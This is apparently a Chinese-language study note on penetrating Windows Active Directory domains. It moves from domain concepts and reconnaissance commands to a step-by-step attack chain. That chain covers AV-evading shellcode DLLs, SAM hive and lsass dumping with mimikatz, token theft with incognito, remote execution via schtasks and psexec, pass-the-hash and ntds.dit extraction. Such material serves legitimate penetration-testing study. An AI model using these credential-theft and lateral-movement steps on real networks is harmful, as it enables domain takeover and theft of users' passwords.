开始 : )
0X01 初识域环境
1、域(Domain):将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域。
2、为什么产生域:方便系统管理员管理机器。
3、域控:在一个机器装上活动目录以后,这个机器就会被称作域控制器。
在Windows的域中,不使用主域控制器与备份域控制器,每个域控制器充当的都是一样的角色,比如你有三个域控制器,你可以在任何一个域控制器上对用户的权限进行修改,你的修改将被复制到其他两个域控制器中。同样,如果一个域控制器发生故障,只要其他的域控制器还能正常工作,整个域还是可以正常运行。
4、活动目录(Active Directory):存储了有关网络对象的信息,并且让管理员和用户能够轻松地查找和使用这些信息。对象可以是用户,组群,电脑,网域控制站,邮件,配置文件,组织单元,树系等等。
5、域用户:用户名和密码到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登陆。虽然能登陆,但只是普通用户权限,而非管理员权限,但是可以查询一些信息。这里的登陆指的是IPC连接,而非远程登陆,远程登陆一般需要在管理组里。
6、域管:域管理员,其实就是域用户的高权限,登陆到域控制器上,对一切权限进行控制,而不用跑到每台电脑前进行设置 了。
7、组:公司很多员工的权限都是相同的,那我们可不可以对这些相同的权限只设置一次,然后将该权限分配给相关的员工呢?答案就是使用分组(Group)。将不同的用户放入不同的分组里,然后对组进行权限设置,这样就免去了我们要对每个用户进行设置的麻烦。
8、信任域:在很多的实际情况中,一个公司又有下面的子公司,所以就造成母公司有一个域,而子公司也有一个单独的域。母公司的域与子公司的域如何联系起来呢?我们可以在它们之间建立一种叫信任(Trust)的关系。如果母公司的账户想要能够登陆到子公司的域中,子公司的域就要对母公司的域建立信任关系。当母公司域的账户想要登陆到子公司域中时,子公司域由于信任母公司的域,所以它会听从从母公司域的域控制器返回的access key。反过来,由于母公司的域没有建立对子公司的信任,所以如果子公司的账户想要登陆到母公司的域中是不可能的。可以通过域信任关系,从一个域横向渗透到另一个域。
nltest /domain_trusts 获取域信任信息
0X02 域信息收集
1、nltest信任域:
(1)03系统这个工具不是内置,在03之后的系统这个工具都是内置;
(2)信任域:可以在工作组里查询,查询内网里是否有域环境;
nltest /domain_trusts /all_trusts /v /server:192.168.52.2 (域控IP)返回所有信任192.168.52.2的域
nltest /dsgetdc:XXXXXX /server:192.168.52.2 返回域控和其相应的IP地址,XXXXXX是上步骤结果中的一个域
(3)nltest的命令:https://www.cnblogs.com/dreamer-fish/p/3473895.html (对博主表示感谢)
2、csvde
(1)域环境信息收集
(2)csvde是Windows Server 2008的内置命令行工具,位于%windir%/system32文件夹中。如果您安装了AD DS或Active Directory轻型目录服务(AD LDS)服务器角色,则此功能可用。
(3)适用于:WinServer2003、WinServer2003R2、WinServer2008、WinServer2008R2、WinServer2012等
(4)csvde -setspn DomainName -f c:\windows\temp\hack.csv
(5)csvde结果分析:LDAP的存储规则,可以 理解为一个数据库。
(6)区分名(DN,Distinguished Name)一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。
(7)CN=Common Name为用户名或服务器名,最长可以到80个字符,可以为中文;
(8)OU=Organization Unit为组织单元,最多可以有四级,每级最长32个字符,可以为中文;
(9)O=Organization为组织名,可以3-64个字符长;
(10)C=Country为国家名,可选,为2个字符长。
3、setspn
(1)SPN:官方名称即“服务主体名称”,本质上存的就是域内各种服务资源的对应关系
(2)如,对应的服务类型是什么,机器名是多少,服务端口是多少
(3)借助SPN快速定位当前目标域中所有存活的各类服务器
(4)setspn -T DomainName -Q */*
setspn -T DomainName -Q */* | findstr IIS
4、dnsdump
dnsdump.exe -u 域名\域用户 -p 域密码 域控机器名 (域控一般也是DNS服务器) 获取域环境下所有机器对应的IP
5、net
net user /domain 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net group "domain computers" /domain 查看域机器
net group /domain 查看域里面的组
net view 查看同一域内机器列表
net view \\ip 查看某IP共享
net view \\GHQ 查看GHQ计算机的共享资源列表
net view /domain 查看内网存在多少个域
net view /domain:XYZ 查看XYZ域中的机器列表
6、nbtscan
0X03 域渗透思路
1、横向渗透->权限维持->取密码(获取一个域用户账号密码)->域信息收集->横向渗透->取密码->获取域管权限->拿下域控服务器
2、取到域用户密码相当于这个域渗透成功了一半,取到域管密码这个域渗透就完美的完成了。
3、横向渗透的思路(适用于工作组渗透和域渗透)
(1)在gayhub上搜:超级弱口令检查工具。
(2)权限维持:dll加载shellcode免杀上线。在MSF中生成shellcode,在C中编译成dll,并调用rundll32运行。这种方法在virustotal上面查看被杀情况。
(3)注册表读取密码:
//获取注册表信息
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
reg save HKLM\SAM c:\windows\temp\Sam.hiv
//将文件取回本地,mimikatz运行解密命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
(4)lsass读取内存hash。Server2008及以前版本,内存中存放的是口令明文;在之后的版本,内存中是hash。
//lsass进程获取内存hash
//在目标机器执行procdump.exe
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
//在mimikatz中运行,结果保存在日志里
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
(5)LaZagne
取各种连接工具密码,浏览器保存密码等
https://github.com/AlessandroZ/LaZagne
(6)凭证窃取
比如我们拿下一台机器,是本地用户,通过tasklist /v查看进行用户,如果有域用户起的进行,则凭证窃取,获取域用户的权限。
工具:incognito.exe 在gayhub上搜。
incognito.exe list_tokens -u 查看这台机器上保存了哪些凭证
incognito.exe execute -c "DomainName\UserName" cmd.exe
whoami
(7)命令行渗透
a、为什么命令行渗透?
- 远程登陆桌面增加暴露风险;
- 目标管理员可能对服务器禁用远程登陆。
b、建立IPC连接
- 可以访问目标机器的文件(上传、下载),也可以在目标机器上运行命令。
- 上传和下载文件直接通过copy命令就可以,不过路径换成UNC路径。
- 何为UNC路径?简单来讲以\开头的路径就是UNC路径,比如\192.168.1.2\c$\users。
(8)执行命令,推荐用schtasks计划任务
schtasks /create /tn taskName /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机器IP /RU system
schtasks /run /tn taskName /s 域机器IP /U 域\域用户 /P 域用户密码
schtasks /F /delete /tn taskName /s 域机器IP /U 域\域用户 /P 域用户密码
(9)psexec
net use \\192.168.52.2 /u:DomainName\UserName password*
psexec.exe \\192.168.52.2 -s cmd.exe -accepteula
-accepteula 第一次运行会弹框,输入这个参数便不会弹框
-s 以“nt authority\system”权限运行远程进程
//当hash没有解出来的时候,hash传递攻击
psexec.exe -hashes :用户hash 域名/用户名@目标IP
(10)命令行下载文件
(11)获取内网代理
内网有些资源可能需要挂指定代理才可以访问:ie代理、pac代理。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
(12)导域hash
Windows的密码是经过hash后存储的,本地存在hklm\sam,hklm\system注册表中
域里面存在域控制器的c:\windows\ntds\ntds.dit中
ntds.dit其实就是个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库
(13)windows api:
利用API 写成一些小工具。所有工具使用前提:建立IPC连接。
NetGroupGetUsers.exe:查询域里的各个组里的成员,IP必须是域控IP,域用户随意。
NetLocalGroupGetMembers.exe:查询目标服务器本地管理组的成员。
NetUserEnum.exe:查询目标服务器所有用户,包括隐藏用户。(这些Exe的名字,也都是api的名字)
收获很多,还需要实践一下。